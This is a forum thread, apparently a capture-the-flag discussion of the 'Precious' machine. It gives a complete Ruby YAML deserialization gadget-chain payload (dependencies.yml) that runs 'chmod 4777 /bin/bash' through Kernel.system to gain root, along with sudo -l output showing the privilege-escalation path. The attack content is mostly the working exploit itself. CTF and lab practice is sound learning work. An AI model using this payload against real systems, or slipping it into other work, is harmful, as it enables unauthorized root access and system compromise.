(November 26, 2022, 07:46 PM)annehathaway Wrote: https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565
used payload2 worked like a charm, pretty straight forward box
+1
From the original payload, we can also modify a bit to have a SUID bash, more smart for a full access:
dependencies.yml---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "chmod 4777 /bin/bash"
method_id: :resolve
(November 27, 2022, 03:01 AM)AIAIIIIAK Wrote: How do you guys know to work on the ruby? I know it has ruby by the response header but had not thought about it. Is it a sense that comes from experience?
Hint:
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb